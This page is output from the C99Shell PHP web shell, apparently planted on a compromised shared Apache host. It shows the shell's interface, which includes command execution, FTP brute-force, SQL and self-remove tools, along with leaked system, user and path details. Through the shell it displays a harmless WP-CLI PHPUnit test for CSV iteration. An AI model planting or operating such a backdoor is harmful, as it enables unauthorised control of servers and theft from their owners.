!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/tests/WP_CLI/Iterators/   drwxr-xr-x
Free 711.92 GB of 879.6 GB (80.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CSVTest.php (2.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Tests\CSV;

use WP_CLI\Tests\TestCase;
use WP_CLI\Iterators\CSV;

class CSVTest extends TestCase {

    public function test_it_can_iterate_over_a_csv_file() {
        $filename = $this->create_csv_file(
            array(
                array( 'foo', 'bar' ),
                array( 'baz', 'qux' ),
            )
        );

        $expected = array(
            0 => array(
                'foo' => 'baz',
                'bar' => 'qux',
            ),
        );

        foreach ( new CSV( $filename ) as $index => $row ) {
            $this->assertEquals( $expected[ $index ], $row );
        }
    }

    public function test_it_can_iterate_over_a_csv_file_with_custom_delimiter() {
        $filename = $this->create_csv_file(
            array(
                array( 'foo|bar' ),
                array( 'baz|qux' ),
            ),
            '|'
        );

        $expected = array(
            0 => array(
                'foo|bar' => 'baz|qux',
            ),
        );

        foreach ( new CSV( $filename, '|' ) as $index => $row ) {
            $this->assertEquals( $expected[ $index ], $row );
        }
    }

    public function test_it_can_iterate_over_a_csv_file_with_multiple_lines_in_a_value() {
        $filename = $this->create_csv_file(
            array(
                array( 'foo', "bar\nbaz" ),
                array( 'qux', "quux\nquuz" ),
            )
        );

        $expected = array(
            0 => array(
                'foo'      => 'qux',
                "bar\nbaz" => "quux\nquuz",
            ),
        );

        foreach ( new CSV( $filename ) as $index => $row ) {
            $this->assertEquals( $expected[ $index ], $row );
        }
    }

    public function test_it_can_iterate_over_a_csv_file_with_multiple_lines_and_comma_in_a_value() {
        $filename = $this->create_csv_file(
            array(
                array( 'foo', "bar\nbaz,qux" ),
                array( 'quux', "quuz\ncorge,grault" ),
            )
        );

        $expected = array(
            0 => array(
                'foo'          => 'quux',
                "bar\nbaz,qux" => "quuz\ncorge,grault",
            ),
        );

        foreach ( new CSV( $filename ) as $index => $row ) {
            $this->assertEquals( $expected[ $index ], $row );
        }
    }

    private function create_csv_file( $data, $delimiter = ',' ) {
        $filename = tempnam( sys_get_temp_dir(), 'wp-cli-tests-' );

        $fp = fopen( $filename, 'wb' );

        foreach ( $data as $row ) {
            fputcsv( $fp, $row, $delimiter, '"', '\\' );
        }

        fclose( $fp );

        register_shutdown_function(
            function () use ( $filename ) {
                unlink( $filename );
            }
        );

        return $filename;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0104 ]--